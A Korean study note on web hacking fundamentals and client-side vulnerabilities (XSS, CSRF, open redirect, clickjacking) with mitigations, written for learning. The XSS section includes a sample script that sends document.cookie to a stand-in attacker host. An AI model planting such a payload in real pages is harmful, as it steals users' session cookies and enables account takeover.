[2021.03.13] Introduction of Web Hacking && Client-side Basic

2021.03.13

I.Sly() 드림팀-dreamhack의 Web Hacking 강의를 통한 개념 스터디

---

웹이란 무엇인가?

해킹: 본래의 의도와는 다른 행위를 발생시키는 것

web: world wide web, www, w3

인터넷 상의 서비스 중 HTTP를 이용하여 정보를 공유하는 통신 서비스 ➡ 웹 서비스를 제공하는 대상 ➡ 웹 서버 서비스를 받는 사용자 ➡ 웹 클라이언트

웹 기초 지식

⭐ KEYWORD

• Web Browser(웹 브라우저): 웹에 접속하기 위해 사용하는 소프트웨어

• Web Resource: 웹 상에 존재하는 모든 콘텐츠 ex) HTML, CSS, JS, PDF, PNG 등

• URI(URL): Uniform Resource Identifier의 약자. 리소스를 식별하기 위한 식별자

• HTTP(HyperText Transfer Protocol): 웹을 이용하기 위한 통신 규약

• HTTPS(HyperText Transfer Protocol Secure): 기존 HTTP 데이터를 암호화하여 통신합니다.

• Cookie: 웹 브라우저에 저장하는 데이터

• Session: 서버에 저장하는 데이터

• Domain Name: 인터넷(웹) 네트워크 상에서 컴퓨터를 식별하는 이름 ex) www.naver.com은 네이버의 서버 컴퓨터를 식별하는 이름

• Server: 인터넷상에서 사용자에게 서비스를 제공하는 컴퓨터. 그 중 웹 서버는 사용자(웹브라우저)와 HTTP를 이용하여 통신하는 서버

• Application: 서버에서 설정한 특정 기능들을 수행하는 소프트웨어

• DataBase(DB): 데이터를 저장하기 위해 사용하는 데이터 저장소

URI: Scheme, Authority(Userinfo, Host, Port), Path, Query, Fragment의 구성요소를 가짐

• Scheme: 웹 서버에 접속할 때 어떤 체계(프로토콜)를 이용할지에 대한 정보를 담고 있음

• Host: Authority의 일부로써 접속할 웹 서버의 호스트(서버 주소)에 대한 정보 가지고 있음

• Port: Authority의 일부로써 접속할 웹 서버의 포트에 대한 정보를 가지고 있음

• Path: 접속할 웹 서버의 경로에 대한 정보를 가지고 있고, /문자로 구분됨

• Query: 웹 서버에 전달하는 파라미터(추가적인 정보)이며 URI에서 ?문자 뒤에 붙음

• Fragment: 메인 리소스 내에 존재하는 서브 리소스에 접근할 때 이를 식별하기 위한 정보 담고 있음. URI에서 #문자 뒤에 붙음

Encoding(인코딩): 문자 또는 기호 등의 정보, 형태를 표준화, 보안 등의 목적으로 다른 형태나 형식으로 변환하는 처리 혹은 그 처리 방식을 말함

Decoding(디코딩): 이렇게 변환된 형태를 원래 형태로 변경하는 것

Encoding(인코딩)-알고리즘이 모두 공개되어 있고 키와 같은 요소가 포함x 모두가 원래의 정보로 복원 가능

Encryption(인크립션)-양방향 암호 알고리즘, 일치한 알고리즘과 유효한 키를 가지고 있다면 원래의 정보로 복원 가능

• URL Encoding(percent encoding): URL 구조 내에서 예약어(구분자)로 사용되는 문자들을 전송하고자 할 때 사용 예약어는 URI 구조 내에서 문법적으로 중요한 의미를 가지고 있기 때문에 문법적으로 사용하지 않을 경우에는 반드시 인코딩해 사용해야함
  
  인코딩 방식: 입력된 문자를 Ascii테이블에서 매칭되는 Hex 값 앞에 %문자를 붙이면 됨 ex) ? ➡️ %3F
  
  

• HTML entity Encoding: HTML 문서 내에서 사용하는 문자열들이 HTML에서 사용하는 태그로 인식하지 않도록 하기 위해 사용
  
  인코딩 방식: 입력된 문자를 Ascii테이블에서 매칭되는 Hex 값 앞에 &#x를 붙이거나, 주요한 문자들에 대해서 지정되어 있는 Entity name을 사용하여 인코딩 ex) & ➡️ & or ➡️ &
  
  

HTTP

https://dreamhack.io 에서 https ➡️ URI의 구성 요소 중 Scheme(Protocol)에 해당

Protocol(프로토콜): 컴퓨터 내부 혹은 컴퓨터 사이에서 어떻게 데이터를 교환할지를 정의하는 규칙 체계

TCP 혹은 TLS(암호화된 TCP)를 사용해 통신

기본 포트로 80(HTTP), 443(HTTPS) 포트 사용

TCP(Transmission Control Protocol): 인터넷에서 컴퓨터들이 서로 정보를 주고받는 데 쓰이는 통신규약

HTTPS는 HTTP의 문제점인 데이터의 평문 전송을 보완하기 위해 등장 근데 핵심 구조 및 동장 원리는 동일함 ➡ 글서 HTTP로 통칭하기도...

HTTP-Request(: 사용자가 서버에 요청), Response(: 사용자의 요청에 대한 서버의 응답)로 나뉨

HTTP Request

HTTP의 구조에서 각각의 줄은 CRLF로 줄 바꿈이 이루어져야 함

CRLF: Carrage Return(CR) Line Feed(LF), 커서를 현재 행의 맨 좌측과 수직 아래로 이동시키는 문자열. 즉, 줄 바꿈을 의미.

구조 중 가장 첫 번째 줄 - Method: 사용자가 서버에 요청 시 수행하고자 하는 동작,

• Path: 요청하는 웹 리소스의 경로,

• Version: 사용하는 HTTP의 버전

두번째 줄 - Header(이름: 값 형태) 끝을 표시하기 위한 CRLF을 한 번 더 출력 ➡ 상황에 따라 많은 데이터를 포함할 수 있기 때문

마지막

• Body: 사용자가 입력한 데이터가 서버에 전달 시 데이터를 담는 부분

⭐ Method

• OPTIONS: 요청하는 리소스가 허용하는 메소드 목록 반환

• HEAD: GET 메소드와 동일하지만, Response의 Body 부분은 받지 않고 Header만 받음 ex) 서버의 상태 확인 등

• GET: 리소스 요청 ex) 게시물/프로필 보기, 이미지 등

• POST: 특정 리소스 생성 및 데이터 추가를 위해 값을 제출할 때 사용 ex) 게시물/프로필 생성 등

• PUT: 특정 리소스의 내용을 보낸 값으로 설정 ex) 생성/업데이트 등

• PATCH: 특정 리소스의 내용 중 보낸 값의 key만 변경 ex) 게시글 업데이트 등

• DELETE: 특정 리소스 삭제 ex) 게시물 삭제 등

• TRACE: 요청받은 값을 Response의 Body로 다시 클라이언트에게 되돌려줌

⭐ Header

• Host: 데이터를 보내는 서버의 주소

• Cookie: 사용자를 식별하기 위해 사용하는 정보

• User-Agent: 사용자가 사용하는 프로그램의 정보

• Referer: 페이지 이동 시 이전 URI의 정보

• Content-Type: 사용자가 전달하는 데이터의 처리 방식과 형식

HTTP Response

구조 중 가장 첫 번째 줄 -Version: HTTP의 버전 -Status code: 사용자의 요청에 대한 서버의 상태 응답 코드(=서버의 처리 결과)

두 번째 줄 -Header

CRLF

마지막 -Body

🗝 Status code

• 200번 영역

• 300번 영역

• 400번 영역

• 500번 영역

🗝 Header

• Content-Type: 서버의 응답 데이터를 웹 브라우저에서 처리할 방식과 형식

• Content-Length: 서버가 사용자에게 응답해주는 데이터의 길이

• Server: 서버가 사용하는 소프트웨어의 정보

• Allow: 허용되는 Method 목록

• Location: 300번 영역의 응답 코드 사용 시 변경된 웹 리소스의 주소

• Set-Cookie: 사용자에게 쿠키를 발급할 때 사용

 

Client-side Basic

HTTP는 Connectionless와 Stateless한 특성을 가지고 있기 때문에 웹 서버가 사용자를 식별하기 위해 보편적으로 쿠키와 세션을 사용

공격자는 사용자로부터 본인을 식별하기 위한 사용자 정보, 즉 쿠키나 세션에 저장된 세션 아이디를 탈취해 사용자 권한을 얻거나, 사용자의 브라우저에서 자바스크립트를 실행하는 등의 특별한 행위를 수행해 사용자가 요청을 보낸 것처럼 하는 것이 클라이언트 사이드 취약점의 주 목적

위와 같은 클라이언트 사이드 취약점이 발생할 수 있는 이유는 웹 브라우저는 Stateful한 상태를 유지하기 위해 모든 HTTP 요청에 쿠키를 함께 보냄

Same Origin Policy (SOP)

자바스크립트를 이용해 페이지 내에 있는 요소들을 관리할 수 있다

웹 브라우저를 통해 대상 호스트에 요청 시 사용자의 정보를 담고 있는 쿠키도 함께 전송되기 때문에 외부 리소스를 불러오는 **엘리먼트(iframe, img, video)**를 자바스크립트로 관리할 수 있다면 사용자의 동의 없이 해당 내용을 읽거나 변조할 수 있음

웹 브라우저가 위와 같은 공격으로부터 사용자를 보호하기 위해 Same Origin Policy(SOP) 정책을 만들었습니다. 이 정책은 서로 다른 오리진의 문서 또는 스크립트 들의 상호 작용을 제한

오리진 구성(구성 요소가 모두 일치해야 동일한 오리진) -프로토콜(protocol, scheme) -포트(port) -호스트(host)

동일한 오리진이 아닌 경우 웹 브라우저가 사용자를 보호하기 위해 문서 또는 스크립트의 내용을 읽지 못하게 하는 것이 SOP의 대표적인 예시

Cross Origin Resource Sharing (CORS)

일반적으로는 SOP 영향으로 서로 다른 오리진과 리소스를 공유하지 못함. 하지만 개발 또는 운영의 목적으로 다른 오리진들과 리소스를 공유해야하는 상황이 있을 수 있음. 때문에 SOP가 적용된 상태에서도 리소스를 공유하는 방법이 존재.

• postMessage: 메시지를 주고받기 위한 이벤트 핸들러를 이용해 리소스 공유

• JSONP: 스크립트 태그를 통해 외부 자바스크립트 코드를 호출하면 현재 오리진에서 해당 코드가 실행된다는 점을 이용한 방법

• Cross Origin Resource Sharing (CORS) 헤더 사용: 다른 오리진이 허용하는 설정 등을 HTTP 헤더를 통해 확인한 후 허용하는 요청을 보내 리소스를 공유하는 방식

웹을 사용하는 사용자를 대상으로 공격을 하는 클라이언트 사이드 취약점은 본인을 식별하기 위한 사용자 정보, 즉 쿠키에 저장된 세션 아이디를 탈취해 사용자 권한을 얻거나 사용자의 브라우저에서 자바스크립트를 실행하여 사용자가 보낸 것처럼 요청을 전송하는 것을 주 목적

• Cross Site Scripting (XSS): 공격자의 입력값이 크로스 사이트의 자바스크립트 일부로 웹 브라우저에서 실행되는 취약점을 말합니다. 실행된 스크립트는 해당 사이트의 일부가 되어 SOP 제약 없이 사이트의 구조를 변경하거나 임의 HTTP 요청을 보낼 수 있음
  
  

• Cross Site Request Forgery (CSRF):
  
  비정상적으로 사용자의 의도와 무관하게 HTTP 요청을 보내는 것을 CSRF 공격이라 합니다. Simple Request나 HTML 엘리먼트라면 SOP의 제약을 받지 않는다는 점을 이용
  
  

• Open Redirect:
  
  Redirect 기능을 악용해 피싱사이트로 접속을 유도하거나, 다른 취약점을 연계하여 사용자를 공격할 수 있음
  
  

• Click Hijacking:
  
  공격자가 생성한 버튼, 이미지와 같은 엘리먼트를 정상적인iframe 위에 겹쳐 올려 UI를 스푸핑해 사용자 의도와는 다른 작업을 수행하게 하는 취약점
  
  

Cross Site Scripting

서버의 응답에 공격자가 삽입한 악성 스크립트가 포함되어 사용자의 웹 브라우저에서 해당 스크립트가 실행되는 취약점을 Cross Site Scripting (XSS)

XSS은 임의의 악성 스크립트를 실행할 수 있으며 이를 통해 해당 웹 사이트의 사용자 쿠키 또는 세션을 탈취해 사용자의 권한을 얻거나, 사용자의 페이지를 변조하는 등의 공격을 수행할 수 있음

성공적인 수행을 위한 두 가지 조건 1️⃣ 입력 데이터에 대한 충분한 검증 과정이 없어야 함 (입력한 데이터가 충분한 검증 과정이 이루어지지 않아 악성 스크립트가 삽입될 수 있어야 함) 2️⃣ 서버의 응답 데이터가 웹 브라우저 내 페이지에 출력 시 충분한 검증 과정이 없어야 함 (응답 데이터 출력 시 악성 스크립트가 웹 브라우저의 렌더링 과정에 성공적으로 포함되어야 함.)

대표적 예시) 게시판 서비스

XSS는 악성 스크립트가 전달되는 방식에 따라 Stored XSS, Reflected XSS 등으로 분류 악성 스크립트의 전달 방식 차이가 있을 뿐 사용자의 웹 브라우저에서 악성 스크립트를 실행한다는 것은 동일

악성 스크립트: 브라우저가 실행할 수 있는 웹 리소스 대표적으로 HTML, JS 등이 있음

XSS with Javascript

UI적인 측면 외에도 사용자와의 상호작용 없이 사용자의 권한으로 정보를 조회하거나 변경하는 등의 요청을 주고 응답받는 것도 가능 ➡ 사용자의 권한을 가지고 있는 세션 쿠키는 사용자에게 저장되어있고 웹 브라우저는 해당 쿠키에 접근할 수 있기 때문

이외에도 웹 브라우저에서 출력되어지는 페이지의 내용을 조작하거나, 웹 브라우저의 위치를 공격자가 원하는 주소로 변경 가능

사용자의 입장에서 발생하는 행위를 동작 시킬 수 있기 때문에 자바스크립트는 XSS 공격 시 많이 사용

대표적인 방법은 script 태그를 이용하는 방식이 있으며 공격자가 입력 데이터로 script 태그를 전송 해 다른 사용자의 응답에 포함되면 공격자의 자바스크립트가 실행됩니다. script 태그 외에도 태그의 속성 중 특정 상황에서 발생하는 on*이벤트들을 사용하여 자바스크립트 실행이 가능

<script>

// "hello" 문자열 alert 실행.

alert("hello");

 

// 현재 페이지의 쿠키(return type: string)

document.cookie; 

 

// 현재 페이지의 쿠키를 인자로 가진 alert 실행.

alert(document.cookie);

 

// 쿠키 생성(key: name, value: test)

document.cookie = "name=test;";

 

// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 <http://hacker.dreamhack.io>

// "<http://hacker.dreamhack.io/?cookie=현재페이지의쿠키>" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함

new Image().src = "<http://hacker.dreamhack.io/?cookie=>" + document.cookie;

</script>

 

Stored XSS

Stored XSS: 악성 스크립트가 서버 내에 존재하는 데이터베이스 또는 파일 등의 형태로 저장되어 있다가 사용자가 저장된 악성 스크립트를 조회하는 순간 발생하는 형태의 XSS

대표적인 예시) 게시판 서비스에서 악성 스크립트가 포함된 게시물을 조회할 때 악성 스크립트가 실행되는 공격 방식

게시판과 같이 서버 내에 저장되어 있는 형태에서는 불특정 다수에게 공격이 가능하다는 점에서 높은 파급력을 가질 수 있는 가능성도 존재, But 악성 스크립트가 실행되는 페이지가 사용자가 일반적으로 접근하기 어려운 서비스일 경우에는 파급력이 높지 않을 수 있음

Reflected XSS

Reflected XSS: 악성 스크립트가 사용자의 요청과 함께 전송되는 형태

사용자가 요청한 데이터가 서버의 응답에 포함되어 HTML 등의 악성 스크립트가 그대로 출력되어 발생

Reflected XSS는 Stored XSS와는 다르게 사용자의 요청 데이터에 의해 취약점이 발생하기 때문에, 변조된 데이터가 사용자의 요청으로 전송되는 형태를 유도해야함

가장 간단한 방법) 특정 링크를 유도하는 방식 Click Jacking, Open Redirect 등의 다른 취약점과 연계하여 발생시키는 방법도 존재

대표적인 예시) 게시판 서비스에서 작성된 게시물을 조회하는 과정에서 조회하기 위해 입력한 데이터에 의해 발생하는 방식

Mitigations

XSS 방어기술

• Server-side Mitigations:
  
  XSS를 유발할 수 있는 태그 삽입을 방지하기 위해 서버 단에서 검증하는 방법
  
  만약 사용자 입력 값에 HTML 형태를 지원해야 한다면 화이트리스트 필터링을 해야함
  
  화이트리스트 필터링: 허용해도 안전한 일부 태그, 속성을 제외한 모든 값을 필터링 하는 것을 의미
  
  

• HTTPOnly 플래그 사용: 서버 측에서 응답 헤더에 Set-Cookie 헤더를 전송해 자바스크립트에서 해당 쿠키에 접근 하는 것을 금지
  
  

• Content Security Policy 사용: CSP는 응답 헤더나 meta 태그를 통해 아래와 같이 선언해서 사용할 수 있으며, 각각의 지시어를 적용하여 사이트에서 로드하는 리소스들의 출처를 제한할 수 있음
  
  

X-XSS-Protection:

X-XSS-Protection은 Response Header에 아래와 같이 선언해서 사용할 수 있음

X-XSS-Protection: <값>

• 
  
  해당 정책은 웹 브라우저에 내장된 XSS Filter를 활성화할 것인지를 판단
  
  

브라우저 단에서 방어하는 기술뿐만 아니라 서버 내부에 저장하는 시점 혹은 저장된 데이터를 출력하는 시점에 입력 값을 올바르게 검증하는 방식으로 XSS를 방어해야함

Cross Site Request Forgery(CSRF)

웹 브라우저는 기본적으로 Same-Origin-Policy에 위반되지 않은 모든 요청에 쿠키를 포함해 전송합니다.

Same-Origin-Policy(SOP): 다른 오리진의 리소스를 요청하거나 상호작용 하는 것을 제한하는 웹 브라우저의 보안 정책

비정상적으로 사용자의 의도와 무관하게 다른 사이트에 HTTP 요청을 보내는 것을 CSRF 공격이라 합니다.

CSRF 공격을 통해 공격자가 취할 수 있는 이득은 해당 세션 쿠키를 가진 사람만 사용할 수 있는 기능을 요청할 수 있다는 것

성공적인 수행을 위한 두 가지 조건 1️⃣ 해당 웹 사이트가 쿠키를 이용한 인증 방식을 사용해야함 (모든 HTTP 전송엔 쿠키가 함께 전송되기 때문에 쿠키에 저장된 세션 아이디도 전송됨) 2️⃣ 공격자가 사전에 알 수 없는 파라미터가 존재해서는 안됨 (자동입력 방지 문자를 넣어야 하는 요청은 공격자가 미리 알 수 없음, 패스워드 변경 기능에서 기존 패스워드를 입력 받는 다면 이 또한 공격자가 알 수 없음)

드림은행 해킹실습 2-3-4

Mitigation

CSRF 방어 기술

• 세션 쿠키 대신 커스텀 헤더를 사용하여 사용자 인증
  
  -사용자 인증만을 위한 헤더를 추가 (e.g. Authorization)
  
  

• 공격자가 예측할 수 없는 파라미터 추가 및 검증
  
  -Same Origin에서만 접근 가능한 데이터를 삽입
  
  -CSRF Token
  
  -CAPTCHA
  
  -정상적인 사용자만 알고있는 기존의 값을 검증 (예: 현재 비밀번호)
  
  

SameSite Cookie

CSRF 공격이 가능한 이유를 다시 한번 생각해보면 웹 브라우저가 크로스 사이트, 즉 다른 사이트로부터 온 요청에 쿠키를 함께 전송한다는 것입니다.

웹 브라우저는 다른 사이트로부터 온 요청에 쿠키를 삽입할지를 SameSite 쿠키 설정을 보고 판단합니다.

쿠키에는 key=value를 포함해 추가적인 설정 값도 함께 저장합니다. 기존에는 Domain, Expires, Path 등만 포함했지만 새롭게 SameSite 옵션이 추가됨

크로스 사이트에서 출발한 요청에 제한적으로 쿠키를 포함시키게 하는 옵션입니다. 총 세 가지(Strict, Lax, Normal) 값을 설정할 수 있음

크롬 브라우저는 2020년부터 개발자가 강제로 SameSite=None; Secure; 을 넣지 않는 이상 웹 브라우저는 모든 쿠키에 SameSite=Lax를 강제로 적용하고 있습니다.

Open Redirect

Redirect(리다이렉트): 사용자의 Location(위치)를 이동시키기 위해 사용하는 기능 중 하나

오픈 리다이렉트 취약점: 사용자가 접속한 도메인 사이트에 대한 신뢰를 무너뜨릴 수 있는 공격으로 오픈 리다이렉트 취약점을 통해 피싱사이트로 접속을 유도하거나, 다른 취약점을 연계하여 사용자를 공격할 수 있음

오픈 리다이렉트의 공격 방법: 리다이렉트가 발생하는 경로에서 공격자의 입력 값에 의해 리다이렉트되는 주소가 변경 될 경우, 해당 경로와 공격자의 값이 함께 전달되도록 사용자를 유도하여 리다이렉트가 되도록 하는 방법이 있음

Mitigation

리다이렉트 취약점으로 발생할 수 있는 피해를 최소화하는 방법:

• 이동을 허용한 주소에 대해서만 이동하게끔 하는 방법

• 사용자의 입력 값으로 리다이렉트 되는 기능을 사용해야 하는 경우 서버에서 해당 링크에 대한 검증을 거친 후 사용자에게 배포하거나, 외부 링크로 이동하는 것을 사용자가 알 수 있도록 하는 방법 ➡ 사용자에게 이동되는 주소에 대한 정보를 제공하고 동의를 묻는 방법을 통해 페이지 이동에 대해 상기시킬 수 있음

Click Jacking

Click Jacking(클릭 재킹): 웹 브라우저 화면에 출력되는 내용에 HTML, CSS, JS 등과 같이 화면 출력에 영향을 미치는 요소들을 이용하여 사용자의 눈을 속여 사용자의 클릭을 유도하는 공격 방법

외부 페이지 리소스를 불러올 수 있는 태그 엘리먼트(<frame>, <iframe>, <object>, <embed>, <applet>)를 사용

공격 방법: 사용자의 클릭을 유도하는 페이지를 구성한 후, 그 페이지 위에 iframe 등의 태그로 누르게 할 페이지를 로드합니다. 그리고 CSS opacity(요소의 투명도를 조정)와 같이 사용자의 눈에는 보이지 않도록 숨겨 놓는 방법 등을 이용하여 공격을 할 수 있음 사용자가 보는 페이지와 실제로 누르는 곳에 차이가 있는 이유는 iframe 태그가 웹 브라우저 상에서는 더 앞에 위치해 있기 때문

Mitigation

• X-Frame-Options : HTTP 응답 헤더를 통해 DENY와 SAMEORIGIN 두 개의 값으로 설정할 수 있음 (DENY-부모 페이지 URL 상관없이 모두 차단, SAMEORIGIN-부모 페이지 URL이 Same Origin이라면 허용)

• frame-ancestors : Content Security Policy(CSP)의 frame-ancestors 지시어를 통해 값을 설정할 수 있음

---

 

2021.03.13 구글문서 보고서 작성

docs.google.com/document/d/10eTA4oYE6g_PkTJA03U62blz9R1myhiW-0powJt79S4/edit?usp=sharing

[2021-03-13] WEB팀 스터디